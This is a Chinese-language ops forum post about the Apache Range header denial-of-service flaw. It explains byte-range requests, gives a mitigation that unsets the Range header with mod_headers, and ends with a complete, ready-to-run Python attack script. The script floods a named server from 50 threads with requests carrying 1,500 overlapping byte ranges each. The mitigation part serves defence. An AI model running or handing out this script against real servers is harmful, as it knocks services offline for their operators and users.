设为首页 收藏本站
查看: 553|回复: 0

[经验分享] Apache Range Header DOS攻击

[复制链接]

尚未签到

发表于 2017-1-1 10:33:48 | 显示全部楼层 |阅读模式
Apache Range Header DOS攻击
  背景


http://lwn.net/Articles/456268/


Http协议之Byte Range

http://www.ietf.org/rfc/rfc2616.txt
 (14.35章节)

14.35   Range ....................................................138
14.35.1    Byte Ranges ...........................................138
14.35.2    Range Retrieval Requests ..............................139
Apache演示
1. 新建内容为abcdefghijk的txt页面
2. 不带Byte Range Header的请求,请看:
DSC0000.png
3.带Byte Range Header的请求,请看:
DSC0001.png

理论上,一旦带上N个Range分片,Apache单次请求压力就是之前的N倍(实际少于N),需要做大量的运算和字符串处理。故构建无穷的分片,单机DOS攻击,就能搞垮Apache Server。

解决方案
1. 等待Apache修复,不过Byte Range是规范要求的,不能算是真正意义上的BUG,不知道会如何修复这个问题
2. 对于不是下载站点来说,建议禁用Byte Range,具体做法:
2.1 安装mod_headers模块
2.2 配置文件加上: RequestHeader unset Range

最后附上一个攻击脚本,做演示

 1
 #
 encoding:utf8


 2
 #
!/usr/bin/env python


 3
 import
 socket

 4
 import
 threading

 5
 import
 sys

 6
 

 7
 headers 
=
 
'''


 8
 HEAD / HTTP/1.1

 9
 Host: %s

10
 Range: bytes=%s

11
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

12
 

13
 '''


14
 

15
 #
fragment count and loop count


16
 COUNT 
=
 
1500


17
 #
concurrent count


18
 PARALLEL 
=
 
50


19
 PORT 
=
 
80


20
 

21
 def
 req(server):

22
     
try
:

23
         s 
=
 socket.socket(socket.AF_INET, socket.SOCK_STREAM)

24
         s.connect((server, PORT))

25
         s.send(headers 
%
 (server, fragment(COUNT)))

26
         s.close()

27
     
except
:

28
         
print
 
'
Server Seems Weak. Please Stop.
'


29
 

30
 def
 fragment(n):

31
     ret 
=
 
''


32
     
for
 i 
in
 xrange(n):

33
         
if
 i 
==
 0:

34
             ret 
=
 ret 
+
 
'
0-
'
 
+
 str(i 
+
 
1
)

35
         
else
:

36
             ret 
=
 ret 
+
 
'
,0-
'
 
+
 str(i 
+
 
1
)

37
     
return
 ret

38
 

39
 def
 run(server):

40
     
for
 _ 
in
 xrange(COUNT):

41
         req(server)

42
 

43
 if
 len(sys.argv) 
!=
 
2
:

44
     
print
 
'
killer.py $server
'


45
     sys.exit(0)

46
 

47
 #
run


48
 srv 
=
 sys.argv[
1
]

49
 for
 _ 
in
 xrange(PARALLEL):

50
     threading.Thread(target
=
run, args
=
(srv,)).start()

51

运维网声明 1、欢迎大家加入本站运维交流群:群②:261659950 群⑤:202807635 群⑦870801961 群⑧679858003
2、本站所有主题由该帖子作者发表,该帖子作者与运维网享有帖子相关版权
3、所有作品的著作权均归原作者享有,请您和我们一样尊重他人的著作权等合法权益。如果您对作品感到满意,请购买正版
4、禁止制作、复制、发布和传播具有反动、淫秽、色情、暴力、凶杀等内容的信息,一经发现立即删除。若您因此触犯法律,一切后果自负,我们对此不承担任何责任
5、所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其内容的准确性、可靠性、正当性、安全性、合法性等负责,亦不承担任何法律责任
6、所有作品仅供您个人学习、研究或欣赏,不得用于商业或者其他用途,否则,一切后果均由您自己承担,我们对此不承担任何法律责任
7、如涉及侵犯版权等问题,请您及时通知我们,我们将立即采取措施予以解决
8、联系人Email:admin@iyunv.com 网址:www.yunweiku.com

所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其承担任何法律责任,如涉及侵犯版权等问题,请您及时通知我们,我们将立即处理,联系人Email:kefu@iyunv.com,QQ:1061981298 本贴地址:https://www.yunweiku.com/thread-322345-1-1.html 上篇帖子: svn apache winxp 整合配置 下篇帖子: Apache 域名301跳转
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

扫码加入运维网微信交流群X

扫码加入运维网微信交流群

扫描二维码加入运维网微信交流群,最新一手资源尽在官方微信交流群!快快加入我们吧...

扫描微信二维码查看详情

客服E-mail:kefu@iyunv.com 客服QQ:1061981298


QQ群⑦:运维网交流群⑦ QQ群⑧:运维网交流群⑧ k8s群:运维网kubernetes交流群


提醒:禁止发布任何违反国家法律、法规的言论与图片等内容;本站内容均来自个人观点与网络等信息,非本站认同之观点.


本站大部分资源是网友从网上搜集分享而来,其版权均归原作者及其网站所有,我们尊重他人的合法权益,如有内容侵犯您的合法权益,请及时与我们联系进行核实删除!



合作伙伴: 青云cloud

快速回复 返回顶部 返回列表